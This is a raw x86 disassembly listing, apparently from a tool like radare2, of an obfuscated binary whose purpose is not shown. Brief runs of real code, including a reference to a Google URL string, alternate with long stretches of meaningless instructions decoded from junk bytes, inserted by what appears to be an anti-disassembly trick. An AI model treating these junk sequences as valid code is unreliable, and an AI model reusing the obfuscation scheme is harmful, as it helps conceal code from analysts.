lodsb al, byte [esi]
sub eax, 0x22bcb2e3
invalid
salc
cmp edi, dword [ecx + 0x1a]
sub dword [esi - 0xe], ebx
sub bh, byte [eax]
mov eax, dword [0x91ea62a3]
inc eax
dec esi
cwde
sal ebx, cl
aam 0xc1
scasb al, byte es:[edi]
lds eax, [ebp - 0x6c6479f7]
add al, 0x32
jne 0x1008bd65
pop esp
push ebp
lodsb al, byte ds:[esi]
push ds
sub dl, bl
inc esi
or byte [edx - 0x749ac80], dl
pop ecx
add eax, 0x5a72a02a
inc edi
sub byte [edi - 6], bh
stosd dword es:[edi], eax
shl byte [ecx + 8], cl
or dword [edx + 0x68], edx
mov al, 0x41
popal
or byte [ecx], cl
push esp
and ch, byte [eax - 0x50]
inc ecx
mov ch, 0x1d
sub al, 0xaa
mov byte [eax + 0x2d], al
std
adc dh, byte [ebp - 0x38f0c74b]
cld
and byte [edx - 0x49], ah
or ebp, dword [esi + 0x76765d2e]
popfd
xor byte [ecx], bl
in eax, dx
push cs
sub al, 0xf1
stosd dword es:[edi], eax
popal
sub eax, 0x8952099b
fldcw word [ecx]
xor al, 0x8b
out 0x82, eax
mov dl, 0x54
nop
jno 0x1008be4c
mov es, word [ebp + 0x30]
mov byte [ecx], bl
fcmovu st(0), st(2)
ficom dword [edi - 0x4e]
cdq
cmp eax, 0xbd54aee0
mov eax, 0x81d58fd2
ja 0x1008be4b
jg 0x1008be76
mov esp, 0x4ea23019
sbb dl, byte [0x2eaf3a01]
nop
inc eax
jl 0x1008be94
xor eax, 0x6a66d2d3
shl byte [esi + 0x6a], cl
push 0xffffffffffffffe7
inc edi
out 0x47, eax
adc dh, byte [edi - 0x14]
jle 0x1008be5c
push esp
loopne 0x1008be91
cmp dword [edx], 0x25
mov ebp, 0xa8a7cc1e
lahf
test dword [esi], ebp
pop ebx
push ds
int3
popfd
push eax
call fcn.1011f090
add esp, 0x14
push 0x101475f8
lea ecx, [ebp - 0x628]
call fcn.10005af6
and dword [ebp - 4], 0
lea eax, [ebp - 0x5d4]
push eax
lea ecx, [ebp - 0x684]
call fcn.10005af6
stc
invalid
pushfd
idiv edi
mov ecx, dword [ebp - 0x1748]
push edi
lea eax, [ebp - 0x628]
push eax
lea eax, [ebp - 0x684]
push eax
mov byte [ebp - 4], 1
pushfd
test byte [0x1008beb7], 0xcf
jne 0x1008beb8
xchg ebp, eax
popfd
call fcn.10089149
mov bl, al
neg bl
sbb bl, bl
xor esi, esi
push esi
push edi
lea ecx, [ebp - 0x684]
call fcn.10002a9a
or dword [ebp - 4], 0xffffffff
push esi
push edi
lea ecx, [ebp - 0x628]
call fcn.10002a9a
mov dh, 0x6b
idiv edi
pushfd
test byte [0x1008bf9a], 0xd3
jne 0x1008bf9b
push ecx
mov esi, 0xed90fa34
cli
nop
in eax, dx
loopne 0x1008bee0
jno 0x1008bf5a
sal al, cl
cli
push eax
fistp word [esi + 0x2b0929c9]
sbb eax, 0x11eb7ab2
jle 0x1008bf2c
jp 0x1008bef5
adc dword [esi + 0x1f], edi
out 0xde, al
xor edx, edx
mov eax, 0x605d6300
mov ecx, ecx
mov esi, 0xb5dc3db5
pop ss
paddb mm4, mm0
les esp, [edi]
push edi
salc
or al, 0x70
xor al, 0x8b
xchg edx, eax
jnp 0x1008bf78
mov al, 0x9b
sti
lds ecx, [edi - 0x2b911072]
jle 0x1008bf95
inc edx
or ebx, dword [esi]
or al, byte [ebx]
test al, 0x1d
out 0x84, al
mul byte [ecx - 0x69fa9d66]
test al, 0x50
salc
int3
insd dword es:[edi], dx
sub al, 0x16
jns 0x1008bf7e
sahf
dec ebx
shr byte [0xcc4a8ff9], cl
dec esi
loopne 0x1008bfc7
xor eax, 0x1b1faaac
xchg byte [edx - 0x2c], cl
and byte [0x8f2d8ca6], ch
nop
push 0xfe183c74
jl 0x1008bf08
mov eax, dword [0x44d8137b]
pop edi
mov ah, 0xcc
pushal
lodsd eax, dword [esi]
jbe 0x1008bfd3
into
xchg edi, eax
pop ebx
add eax, 0xbba60a32
mov ebx, 0xc13fb2d4
invalid
aam 0xb2
aas
sar esi, 0x9b
popfd
inc bl
je 0x1008c0f3
mov ecx, dword [ebp - 0x1748]
lea eax, [ebp - 0x628]
push eax
call fcn.1006f2a4
cmp dword [eax + 0x14], 0x10
mov dword [ebp - 4], 2
jb 0x1008bfc5
mov eax, dword [eax]
push eax
call fcn.1009b7fe
xor edi, eax
add byte [eax], al
pop ecx
lea ebx, [eax - 1]
push esi
neg ebx
sbb bl, bl
pushfd
test byte [0x1008c006], 0xdd
fistp dword [esi + esi*8 + 0x8c00605]
adc ch, bl
fnsave dword [ebp + 0x29]
jne 0x1008c007
movsb byte es:[edi], byte [esi]
std
lodsb al, byte [esi]
push edi
test ah, ah
loop 0x1008bfc6
in eax, dx
dec edx
dec edx
mov bh, 0x11
lodsd eax, dword [esi]
out dx, eax
mov ch, 0x34
jbe 0x1008c02c
or esp, edi
into
or byte [ebx + esi + 0x4b], bl
and edi, dword [edi + 0x59]
xlatb
push ebp
js 0x1008bf94
mov al, 0xc7
rcr byte [eax], 0x87
dec eax
push eax
popfd
or dword [ebp - 4], 0xffffffff
pushfd
test byte [0x1008c0d7], 0xf
jne 0x1008c0d8
in eax, 0x29
cld
mov bl, 0x91
dec ebp
fdivr dword [ebp + 0x31]
popfd
and ecx, dword [0xb9a73e7c]
rcr byte [esp + esi*2 - 0x53], 0xd2
jl 0x1008c086
je 0x1008bfdb
sar byte [ebp + edx*2 - 0x49], cl
xlatb
mov bh, 0xd7
int3
sbb al, 0x82
pop es
or byte [0x934868bd], ah
dec eax
mov ebp, 0x48934868
xor eax, 0x615743ac
rcl byte [ebp + 0x11], 0x88
andps xmm1, xmmword [eax]
adc al, 0x92
push es
std
test byte [edx - 0x24], al
inc edx
fcom qword [ebx + ebx*4]
adc al, 0x9b
stc
dec esp
and byte [edi + 8], 0x30
add bh, 0x86
sbb al, ah
sub eax, 0x766dc87b
mov byte [esp + edx*4 + 0x29c7c8f7], 0xd4
into
xchg esp, eax
test eax, 0xced429c7
fistp word [ecx - 0x54af4709]
fdecstp
jl 0x1008c107
insb byte es:[edi], dx
adc dword [ecx + esi*4], ecx
jle 0x1008c070
call 0xb02cd086
insb byte es:[edi], dx
int1
js 0x1008c0e0
jns 0x1008c0db
leave
xchg edx, eax
dec edi
js 0x1008c053
adc byte [edx + 0x66], cl
ja 0x1008c072
fsubr qword [ebx + 0x4be9565]
sti
jge 0x1008c0de
scasd eax, dword es:[edi]
sbb dword [esi], 0xffffffcb
ficomp dword [ebx - 0x1f7b840d]
xchg edi, eax
insd dword es:[edi], dx
inc ecx
push 0x594ed18c
pop ds
not byte [ebx]
jbe 0x1008c13b
daa
sub byte [ebx], dl
je 0x1008c059
popfd
push edi
lea ecx, [ebp - 0x628]
invalid
invalid
call fcn.10002a9a
inc bl
je 0x1008e891
mov dword [ebp - 0x1734], edi
mov ebx, 0x10146825
push ebx
lea ecx, [ebp - 0x644]
pushfd
test byte [0x1008c206], 0x16
jne 0x1008c207
popfd
xor eax, 0xb4de21bb
sub edx, esp
mov bl, 0x47
and esi, ebx
mov ah, 0x2b
aam 0xb3
inc edi
add byte [ebp + ebp - 0x111584e4], bl
int 0x61
xchg ebx, eax
mov cl, 0xa3
cmp dword [ebp + 0x1e], eax
add ecx, dword [ecx + 0x50202654]
pop es
movsd dword es:[edi], dword [esi]
adc dh, dh
popfd
aad 0x35
mov dword [eax + 5], ecx
cmpsb byte [si], byte es:[di]
enter 0xffffffffffff800a, 0xffffffffffffffda
jge 0x1008c137
sbb dl, 0x7d
clc
push ebp
cmpsd dword [esi], dword es:[edi]
dec ebx
push ds
movsb byte es:[edi], byte [esi]
xchg esi, eax
and dword [edi - 0x78], 0x58
jbe 0x1008c149
adc dword [eax - 0x4a368c62], esi
mov al, 0x63
lodsd eax, dword [esi]
lea edi, [ecx]
out dx, al
dec esi
and byte [ecx + edx*4 - 0x37815a84], 0x6f
scasd eax, dword es:[edi]
jnp 0x1008c110
push ecx
mov ebx, 0x1b6529f8
or ebx, eax
out 0xbb, eax
mov ebx, 0x186ec183
cmp byte [edi - 0x71cb9af], bl
add dword [ebp - 0x76], ecx
stosd dword es:[edi], eax
std
or eax, 0x3095d860
imul ecx, dword [ecx - 0x7dae1122], 0xb
aam 0xa6
fsubp st(6)
push ecx
or byte [ebx], 0xd4
cmpsb byte [esi], byte es:[edi]
out 8, al
push cs
inc esp
inc ebp
mov dh, 0x32
insb byte es:[edi], dx
add eax, 0x9be11a90
pushfd
imul esp, dword [eax - 0x48], 0xbde3a41d
sbb dh, al
and eax, 0x1e33d669
cld
aaa
or bl, byte [edx + 0x1e]
daa
cld
xlatb
inc ebp
inc esp
sal dword [ebp + 0x49], 1
adc al, 0xa1
lds eax, [ebx]
sub cl, cl
sub byte [edi - 0x256b06e2], 0xa5
mov esp, 0x95d82980
stosd dword es:[edi], eax
adc dword [eax], ebx
and dl, ch
dec esi
mov ch, byte [edi + edi*8]
js 0x1008c211
bound edi, qword [esi]
cdq
loop 0x1008c184
mov dword [0x246c0244], eax
dec ecx
and al, 0x49
inc ecx
mov edx, 0x92ddd4c9
xchg esp, eax
jae 0x1008c1c8
insb byte es:[edi], dx
mov byte [eax], bl
push esp
mov ecx, 0xe309af53
scasd eax, dword es:[edi]
or ebx, esp
test eax, 0x949fcc2e
inc esi
cwde
loop 0x1008c251
dec edx
pushal
dec esp
push esp
cli
jno 0x1008c260
mov ch, 0x94
xor byte [eax], 0x12
popfd
call fcn.10005af6
pushfd
test byte [0x1008c300], 0x66
jne 0x1008c301
ret
jnp 0x1008c1ae
fcmovb st(0), st(5)
scasd eax, dword es:[edi]
popfd
fcomp qword [eax - 0x6222a6db]
outsb dx, byte [esi]
movsd dword es:[edi], dword [esi]
stc
inc byte [edi]
jnp 0x1008c1dd
sbb dword [edi + 0x7f80f0f], edi
ffreep st(2)
das
dec ebp
test dword [ebx - 0x7b], ebx
sub eax, 0x383581e
sub ecx, dword [esi + 0x5d2f6102]
das
pop ebp
into
jb 0x1008c25b
add dword [edi - 0xfe531e6], esp
mov ecx, 0x8b872154
mov ds, word [edi]
insb byte es:[edi], dx
mov dl, 0xcc
dec ebx
add al, 0x87
lock adc byte [ebp - 0x5e], dl
pop ecx
daa
cmpsb byte [esi], byte es:[edi]
and edx, edi
push ebp
mov byte [0x21a62759], al
cli
sub eax, 0x19def558
jo 0x1008c1ee
xor bl, byte [eax + 7]
mov dword [0xdd51d091], eax
sar byte [edx + 0x7f4da7af], 1
mov eax, dword [0x90f7fad6]
xor eax, 0xad62a85b
xchg edi, eax
sub al, 0x5f
push esp
stosb byte es:[edi], al
dec ecx
mov word cs:[edx], gs
push 0xd6819802
das
adc al, 0x67
xchg esp, eax
cld
or eax, 0xc7a0a4af
sbb bh, cl
or al, ch
popal
imul ebp, edi, 0x3ee952dc
clc
push edi
mov ch, 0x60
cdq
jo 0x1008c2a2
jl 0x1008c246
dec ebx
adc al, 0xe
pop edx
lahf
in eax, dx
push edx
add esp, dword [esi - 0x36]
inc ebx
scasd eax, dword es:[edi]
cmp dh, byte [ebx]
or eax, 0x4f84f5d7
das
mov bl, 0x16
in eax, 0xc3
dec edx
jecxz 0x1008c345
xor al, 0x23
sub cl, byte [ebp + 0x25]
insd dword es:[edi], dx
adc bh, 0xa7
out 0x29, al
xchg byte [esi + 0x2a], dh
aas
lea esp, [esi + 0x13]
dec esp
pop edx
adc byte [ecx], dl
xchg ebp, eax
mov ebx, 0x210b5967
sub al, 0x66
loop 0x1008c30b
int3
popfd
push ebx
lea ecx, [ebp - 0x60c]
mov dword [ebp - 4], 3
cld
add eax, dword [eax]
add byte [eax], al
call fcn.10005af6
mov ecx, dword [ebp - 0x1748]
lea eax, [ebp - 0x628]
mov byte [ebp - 4], 4
push eax
cmp dword [ebp - 0x1734], edi
jne 0x1008c339
call fcn.1006f30f
mov byte [ebp - 4], 5
jmp 0x1008c342
call fcn.1006f1b2
mov byte [ebp - 4], 6
push eax
lea ecx, [ebp - 0x60c]
call fcn.10005d3b
push esi
push edi
lea ecx, [ebp - 0x628]
mov byte [ebp - 4], 4
call fcn.10002a9a
mov esi, str.http:__www.google.com_q
push esi
call fcn.1011d740
pushfd
test byte [0x1008c38e], 0xcc
je 0x1008c38f
hlt
sub cl, byte [eax + esi*8 + 0x71]
pop ecx
cmpsd dword [esi], dword es:[edi]
out 0x1b, al
fstp dword [ebp + 0x17f0eb26]
pop ecx
xchg ecx, eax
sub dh, byte [edi + 0x26]
or eax, 0x445c2e4b
inc esp
sub al, 0x21
popfd
pop ecx
push eax
push 0
push esi
lea ecx, [ebp - 0x60c]
call fcn.10001ceb
mov ebx, eax
pushfd
test byte [0x1008c3b1], 0x63
jne 0x1008c4b2
fimul word [esi - 0x27d9d3b]
bound esi, qword [ecx]
outsd dx, dword [esi]
adc eax, 0xc7e106
shl byte [ecx], 0x8b
xchg byte [esi + 0x34a8c5f7], bl
test al, 0x34
stosd dword es:[di], eax
fcom st(7)
clc
pop edi
sbb al, 0x37
push cs
div bh
into
push ebp
mov ebx, 0xbe5beb81
and al, 0xef
cmp dword [ebp + 0x1a7c0146], edi
stosb byte es:[edi], al
mov dr0, ebp
pop eax
push eax
pop ds
lodsd eax, dword [esi]
out dx, al
dec edx
shr ah, cl
cwde
insd dword es:[edi], dx
sahf
cmp al, 0x4f
aad 0x17
sbb eax, 0x89ea4342
pop esi
popal
pushal
pop es
outsb dx, byte [esi]
mov bl, 0x31
sbb eax, 0xa1b609aa
push edx
jge 0x1008c3c5
cmp ecx, ebx
test eax, 0x2c05a6d8
push es
xchg bl, dl
xor al, 0xfb
imul byte [ecx - 0x71a35155]
jnp 0x1008c426
cdq
cmp al, 0x8a
out 0xe4, al
mov eax, dword [0xd15a915]
sub byte [ebp + 0x31], bh
adc eax, 0x317d280d
mov edx, 0xf84e415d
cmpsd dword [esi], dword es:[edi]
sub dword [eax], 0xffffff9f
div dl
nop
push edx
aam 0x47
add eax, 0xab3ad72c
int3
popfd
cmp ebx, 0xffffffff
je 0x1008e6fc
push esi
call fcn.1011d740
pop ecx
add ebx, eax
push edi
push ebx
lea eax, [ebp - 0x1730]
push eax
lea ecx, [ebp - 0x60c]
pushfd
test byte [0x1008c54d], 0x84
jne 0x1008c54e
js 0x1008c514
stc
sub al, 0x75
inc ebp
inc edi
shl bh, 1
mov ebx, 0x527aadea
arpl word [edi - 0x7861547b], sp
adc eax, 0xfc0e3123
dec edi
lea eax, [ecx]
mov edi, 0xe777c9b4
sahf
dec edi
movsd dword es:[edi], dword [esi]
xor ch, byte gs:[0xb98bd7e8]
pop esi
sub dword [edx + eax*8], 5
sbb byte [edx - 0x778e44a4], bl
add edx, dword [ecx + 0xc7c2d09]
adc eax, 0xf552c41c
les edx, [edx - 0xb]
cmp byte [eax], ah
out 0xa2, al
inc ebp
jns 0x39b5cf81
cdq
mov esi, 0xa8ee815a
mov ebx, 0xecee2278
je 0x1008c4bc
and byte [edi], bl
fdiv dword [ecx - 0x2b]
scasd eax, dword es:[edi]
add eax, 0x3382dcff
sbb edi, edi
add dh, byte [esi]
aaa
mov bh, 0xb6
in eax, dx
movsb byte es:[edi], byte [esi]
dec eax
jns 0x1008c51c
popfd
mov byte [ebp - 0x1730], 0x22
call fcn.10001ceb
cmp eax, 0xffffffff
jne 0x1008c81f
push edi
push ebx
lea eax, [ebp - 0x1730]
push eax
lea ecx, [ebp - 0x60c]
mov byte [ebp - 0x1730], 0x20
call fcn.10001ceb
pushfd
test byte [0x1008c66c], 0xd5
jne 0x1008c66d
add al, 0xd2
mov edi, ebx
sbb al, 0xa5
adc dword [edi - 0x4fb729d0], ebp
adc dword [edi - 0x4fb729d0], ebp
movsd dword es:[edi], dword [esi]
not byte [ecx + edx*4]
jecxz 0x1008c594
stosb byte es:[edi], al
mov edi, 0x4fe9e902
pop esi
jo 0x1008c5c0
mov esi, 0xc3c96910
nop
xchg edx, eax
adc bl, byte [edx + 0x68]
cwde
xor dword [ebp + edx + 0x4824de3e], edx
imul ebx, dword [esi], 0x6c169469
insb byte es:[edi], dx
xchg ecx, eax
mov al, 0x42
add ah, byte [ebx]
cmpsd dword [esi], dword es:[edi]
jnp 0x1008c61e
stosd dword es:[edi], eax
fadd st(3)
push ds
add dword [edi + ecx], 0x11f84f3b
xor bl, al
das
push ebx
outsb dx, byte [esi]
jle 0x1008c59e
adc byte [eax + 0x7113a95a], ch
mov bl, byte [eax + 0x2e201313]
cmp esi, dword [ecx - 0x1d]
in al, 0x9d
loopne 0x1008c601
adc ebx, dword [edx]
mov bl, byte [eax + 0x88856bd]
mov dword [0x392ee11e], eax
sbb cl, byte [edx - 0x77a94268]
or byte [ebx + 0x392ee11e], ah
adc eax, 0x1c76e41
xlatb
pop edx
and dword [edi - 0x20], 0x41
xor byte [ecx + 0x48cdc998], bl
add dword [edi + 0x72f28e71], eax
xor bh, byte [esi]
aaa
or ebp, dword [esi - 0x33397f72]
sub edi, ebp
jbe 0x1008c5ed
mov al, 0x73
sub eax, 0xacabeeb4
mov bh, byte [ecx*4 + 0x48bf4045]
loopne 0x1008c611
xchg ebp, eax
cmp al, 0x4d
jg 0x1008c5ec
test byte [edi + 0x539f7fe0], 0xab
lodsb al, byte [esi]
dec esi
int3
popfd
cmp eax, 0xffffffff
pushfd
test byte [0x1008c6b2], 0x72
jne 0x1008c7b3
pmaxub mm3, qword [ebx - 0x1e013154]
dec edi
call 0xcbf38f14
frstor dword [edi + 0x11]
std
enter 0xffffffffffffbbea, 0xffffffffffffffdd
adc ebp, edi
loop 0x1008c6f0
jnp 0x1008c689
jb 0x1008c695
inc dword [ebx]
and al, byte [ebx - 0x78de6169]
add esp, dword [edx]
adc dword [edi + 0x4b87219e], 0xffffffbf
mov es, word [esi - 0x18]
sar byte [edx], 0x76
ja 0x1008c70b
dec ebx
mov edi, 0xc0e8468e
cmp dh, byte [esi + 0x77]
pop ebp
pop ebp
popfd
cli
sar byte [eax], 1
test al, 0x1b
pushfd
aas
sal byte ds:[esi], cl
xchg edi, eax
inc ebx
or byte [0x501d75], ch
mov edx, 0xe3273cb6
mov edx, 0xc4204882
std
push ebx
in al, dx
mov edx, 0xc83750b9
sub al, byte [esi + 0x22b3a967]
lodsb al, byte [esi]
aam 0x25
test eax, 0x224013cc
xor dword [ecx - 0x1a6e7de4], ecx
out dx, al
cmp esp, dword [esi + 0x2b]
cmp esp, edi
in al, 0x99
arpl word [esi - 0x5d], sp
push 0x5ffcc985
pop edi
pop ebp
xchg edi, eax
in al, dx
or ebp, ecx
loop 0x1008c754
cld
pop ds
mov ss, word [edi - 0x53020d50]
aas
jl 0x1008c69d
stosb byte es:[edi], al
xlatb
je 0x1008c71a
sub bl, bh
and dword [eax + 0x4d], 0xd1608eb1
adc ebx, dword [eax - 0x1dfbf1ca]
pushal
dec ebp
mov cl, 0x8e
pushal
rcl dword [ebx]
cwde
push cs
add al, 0xe2
dec ecx
fxch st(4)
xchg ecx, eax
inc edx
xchg byte [edi - 0x4783652b], bl
jg 0x1008c777
salc
and al, 0xfc
dec eax
sub dword [edx], esi
outsb dx, byte [esi]
leave
add byte [ebp - 0x12], ah
rcr dword [ebx - 0x37b7c27c], 0xd2
mov edi, 0xfda7655
scasb al, byte es:[edi]
inc esp
xor byte [ebp - 0x76], dl
inc esi
insd dword es:[edi], dx
imul esi, dword [eax - 0x73], 0xffffff8f
sub edx, esi
imul esi, dword [esi], 0xffffffb9
pop ss
scasb al, byte es:[edi]
bound edi, qword [ecx + 0x17dd69dc]
fxsave [eax + esi + 0x55]
mov bh, bh
invalid
pop ss
push eax
sbb byte [edx], 0xc2
and eax, 0x4cb33219
mov dh, bl
mov es, word [0x9ca23bae]
popfd
push ss
cmp dword [edx - 0x1f], esi
mov ss, word [edi - 0x5d]
cli
inc ebx
daa
pop ebp
push ebp
jecxz 0x1008c753
pop esi
fsubr dword [ebp - 0xaf12f17]
and dword [edx + 0x2e4ef157], edx
enter 0x784f, 0xffffffffffffffb6
dec ebp
cli
pushfd
dec esi
call 0x413df6f0
xor edx, edi
jno 0x1008c73a
push ecx
movsd dword es:[edi], dword [esi]
insd dword es:[edi], dx
push esp
scasd eax, dword es:[edi]
cmp dword [eax - 0x1fc5d132], ebp
xchg esp, eax
push ebx
or byte [edi - 0x7a], 0x25
scasb al, byte es:[edi]
xor dword [edi + edx*2 + 0x6e], ebp
cdq
xchg ebx, eax
fld qword [esi + edx*8]
pop edx
dec esi
js 0x1008c808
popfd
jne 0x1008c81f
or eax, eax
jmp 0x1008c8f0
ror byte [edx + 0x4e3714b5], 0xa8
dec esp
clc
aam 0xb0
scasb al, byte es:[edi]
xchg edi, eax
jbe 0x1008c882
mov edi, 0x952fd8a8
inc eax
pop edi
popfd
sub eax, ebx
pushfd
test byte [0x1008c8ee], 0xb8
out dx, al
enter 0x1008, 0xffffffffffffffb8
jne 0x1008c8ef
xchg dword [esi], ecx
or dword gs:[ebp + 0x4a], 0xeccea44e
pushal
jle 0x1008c811
lodsb al, byte [esi]
xor ebx, dword [0xb6909206]
mov edx, 0xdc4969a5
cmc
xor al, 0x22
les edi, [edx]
cmp dword [0xda777b5b], edi
dec ebx
push edi
test dword [eax], eax
jge 0x1008c8ad
xchg ebp, eax
pushal
add eax, dword [edx - 0x6558a3b7]
jno 0x1008c871
mov dh, 0xc1
push edi
sbb byte [esi], bh
pop esp
push edx
loopne 0x1008c814
pop es
shl byte [ebp + ebx*2 - 6], cl
cli
inc edx
add ch, bl
sbb byte [edi + edx*2 - 0x2395d716], ch
clc
adc al, 0x63
mov al, byte [0xa3ce6c82]
aaa
mov al, 0x5d
mov ah, 0xa0
jb 0x1008c8f8
into
mov dword [0xb45db037], eax
mov al, byte [0x1c4b6d72]
mov eax, dword [0xe266f54f]
xchg ecx, eax
dec ebx
sbb al, 0xa1
dec edi
cmc
loop 0x1008c824
shl dword [eax + 0x4c12eef1], 6
mov al, byte [0x4c12eef1]
push es
jbe 0x1008c894
js 0x1008c8af
enter 0x4de2, 0xffffffffffffffa7
mov esp, 0x2b2617b1
and ecx, edx
push ss
out 0x98, eax
loopne 0x1008c8c2
pop ss
sub esp, dword es:[ebx]
retf 0xe716
adc al, 0x3c
cmp al, 0xeb
dec ebp
cli
or esp, eax
push 0xf61a93a6
mov ch, byte [ebx + 0x5f]
sbb al, 0xfc
call 0xe8374261
fild qword [ecx]
pop edi
lodsb al, byte [esi]
jmp 0x1008c8fe
fcomp st(7)
sub dword [edi - 0x54], ebx
mov es, word [edx + 0x1553cc3e]
jo 0x1008c8a4
adc eax, 0x1f3ad470
cmp bl, byte [edi]
mov dh, byte [ebp - 0x26]
sbb byte [edx], dl
sbb byte [esi + 0xa68ff29], bh
sub dword [esi - 0x6109a4ab], edx
pop ax
lock add byte es:[ebp - 0x3ef20e8f], 0xcc
xchg esi, eax
popfd
push eax
push ebx
lea eax, [ebp - 0x628]
push eax
lea ecx, [ebp - 0x60c]
call fcn.100711ef
push eax
pushfd
test byte [0x1008c914], 0xf3
jne 0x1008ca15
invalid
outsd dx, dword [esi]
in al, 0xf3
cmpsb byte [esi], byte es:[edi]
push 0x19f40c29
mov al, byte [0x39b49fb8]
salc
and dl, byte [esi - 0x17968884]
outsb dx, byte [esi]
leave
xlatb
push 0xffffffffffffff87
insd dword es:[edi], dx
loop 0x1008c8d0
dec ebx
sbb eax, dword [eax + 0x73]
cwde
inc eax
jae 0x1008c8cd
ficomp dword [edx]
dec ebx
mov dword [0x276c5c24], eax
fdiv dword [ebp - 0x16d3f5f6]
sbb al, 0x36
push edx
stc
mov ecx, dword [edx - 0x4e11fcdf]
push edi
mov ah, 0x58
mov al, byte [0x4b2fce95]
or dword [ebp + 0xa], ebx
inc ebx
xor byte [edx - 0x45d5f341], dh
sti
fild word [eax]
inc esp
jge 0x1008c975
jmp 0x95aff63
jne 0x1008c942
jne 0x1008c9de
mov dword [edx + 0x8265429], edx
jl 0x1008c932
adc dword [eax + eax*8], edi
mov byte [ecx], ch
fdiv qword [ecx + 4]
insd dword es:[edi], dx
xchg edx, eax
jg 0x1008c97e
dec dword [ebp + 0x4566a39e]
arpl si, bx
mov dl, 0x7f
outsd dx, dword [esi]
imul ebx, dword [ecx], 0x996e6ee7
lea ebx, [esi + 0x634566a3]
fidiv word [edx + 0x19696f7f]
out 0x6e, eax
outsb dx, byte [esi]
cdq
lds esp, [ebp + 0x73]
mov edx, 0xf2d1ec85
mov eax, dword [0x3b4047bd]
cmp bl, 0xe8
pop gs
invalid
hlt
popfd
lea ecx, [ebp - 0x644]
mov byte [ebp - 4], 7
call fcn.10005d3b
xor ebx, ebx
push ebx
push edi
lea ecx, [ebp - 0x628]
mov byte [ebp - 4], 4
call fcn.10002a9a
lea ecx, [ebp - 0xaa4]
call fcn.10026447
lea ecx, [ebp - 0x172c]
pushfd
test byte [0x1008cb3f], 0xd0
jne 0x1008cb40
lds ebx, [ebp - 0x25]
enter 0xffffffffffffe0d6, 0xffffffffffffff97
popal
mov dword [0x988ed5e1], eax
and eax, 0x31ba5e4c
mov ch, 0xe4
rcr dword [edx - 0x38cd4b23], 1
or ah, cl
xor byte [ebp + 0x26], dl
out 1, al
pop ds
sal bh, cl
cmpsd dword [esi], dword es:[edi]
dec edi
jge 0x1008cac2
pop edi
push esp
mov esi, 0x71593d8e
aam 0x6e
xchg ebp, eax
xchg ebp, eax
xchg dword [edi - 0x4b3c6b9e], ebx
aam 0x2b
push esi
pop ebp
and al, 0x52
jle 0x1008ca9f
arpl dx, bx
sbb dword [ecx + 0x59e052d5], 0xffffffca
ror byte [edx - 0x477045d8], 1
cli
aad 0x20
xchg edi, eax
fisttp qword [eax]
xchg dword [ebx + 0x2fbecf7e], esi
inc ebx
push 0xbca98c3e
inc esi
mov eax, 0x8f4e25dd
sbb al, 0x58
loopne 0x1008cafa
retf 0x8ad0
mov word ds:[ecx - 0x2247b944], gs
and eax, 0x581c8f4e
pop eax
pop esp
pop ebp
movsb byte es:[edi], byte [esi]
popal
aam 0xd3
mov al, 0xd0
rcl dword [edi - 0x4e], 0x7f
inc ebx
mov edi, 0x6001ff0
stosd dword es:[edi], eax
xlatb
dec byte [ebx + 0x63]
inc ecx
enter 0xfffffffffffff278, 4
pop eax
adc byte [ecx - 0x709b486f], bl
adc byte [ebx - 0x30], 0x71
cmp al, 0xb
pushfd
inc edx
mov fs, word [ecx - 0xbd5b8dd]
mov esp, 0xde317a0e
adc eax, 0xcbacb19a
ficom word [0xcbacb19a]
shr dword [ecx - 0x38], 1
stosb byte es:[edi], al
jns 0x1008cb39
jno 0x1008cb1d
inc ebp
mov dh, 0x17
cmpsd dword [esi], dword es:[edi]
mov al, 0x61
enter 0xffffffffffffd861, 0xffffffffffffffbf
pop edi
xor esp, dword [edi + 0x20]
aas
aam 0x21
sbb ebx, dword [eax - 0x5a]
and edi, esp
and edi, esp
scasb al, byte es:[edi]
rcl byte [esi + 0x55]
int 0xd6
xchg ecx, eax
cli
jbe 0x1008cab7
lodsb al, byte [esi]
scasb al, byte es:[edi]
jmp dword [ebx + 0x39e1c273]
mov edx, 0xb23dba60
mov ebp, 0x1e89d65
cdq
stc
dec dword [ebp - 0x174373]
dec dword [ecx - 0x173363]
invalid
popfd
popfd
call fcn.10026447
lea ecx, [ebp - 0x1744]
mov dword [ebp - 0x1734], ebx
call fcn.10001000
lea eax, [ebp - 0x644]
pushfd
test byte [0x1008cbc6], 0xf2
jne 0x1008cbc7
scasd eax, dword es:[edi]
dec eax
mov ch, 0xb6
add byte [ebp - 0x1f], 0xc0
test byte [edx], bh
pushal
insd dword es:[edi], dx
inc esi
test eax, 0xc8cbab1f
bound esp, qword [edx]
test bh, dl
arpl word [edi + 0x34], bx
imul ebp, dword [esi + 0x72861c63], 6
out dx, al
cmpsd dword [esi], dword es:[edi]
and edx, dword [edx - 0x2a]
or byte [eax + edx], cl
jnp 0x1008cbe0
push edi
jecxz 0x1008cc0b
sub al, 0x76
std
xchg esp, eax
imul edi, dword [esi], 0xffffff87
cmp al, 0x9e
stc
stosd dword es:[edi], eax
mov dword [0xa6b81c93], eax
mov ebp, 0x17f2443f
jo 0x1008cb3f
arpl word [edi + 0x39], bx
stosd dword es:[edi], eax
mov edi, 0xa104200d
fnstsw word [eax + 0x11]
add bl, byte [edx + 0x6c3c5af0]
shr esp, 1
in al, 0x5a
sar ecx, 0x4e
dec ecx
popfd
push eax
lea eax, [ebp - 0x5f0]
push eax
lea ecx, [ebp - 0x1744]
mov byte [ebp - 4], 8
call fcn.10007006
or al, ch
daa
movsb byte es:[edi], byte [esi]
idiv edi
cmp dword [ebp - 0x5dc], 0x10
mov eax, dword [ebp - 0x5f0]
pushfd
test byte [0x1008cc7e], 0xd8
mov ebp, 0xfffffa24
adc byte [ebx - 0x5ef7b], cl
call [esi + esi*8 + 0x8cc7e05]
adc al, bl
jne 0x1008cc7f
clc
inc eax
push esp
push ds
je 0x1008cbd9
sti
cmp ebp, dword [ebp - 9]
xor eax, 0x251b27a9
rol byte [ecx + ecx], 1
add al, 9
lds ecx, [edi + 0x63]
cmc
aas
in eax, 9
xchg esi, eax
mov ah, 0xa0
push edi
cmp cl, byte [esi - 0x1951502b]
mov ss, word [eax + 0x25]
xor al, 0x77
cmp eax, 0x37c2696b
salc
int1
add al, 0xfe
cmc
jecxz 0x1008cc4f
aad 0x16
xchg ecx, eax
call 0x46b9df15
xor cl, cl
rcl byte [edx - 0xe]
bsf esi, dword [esp + ebp*8 + 0x1c]
fnstcw word [esi]
mov esi, dword [edx]
mov al, byte [eax - 0x46]
int1
cmp dh, bh
fbld tbyte [ebx]
adc bl, byte [eax - 0x5f]
lds edx, [edx + 0x60]
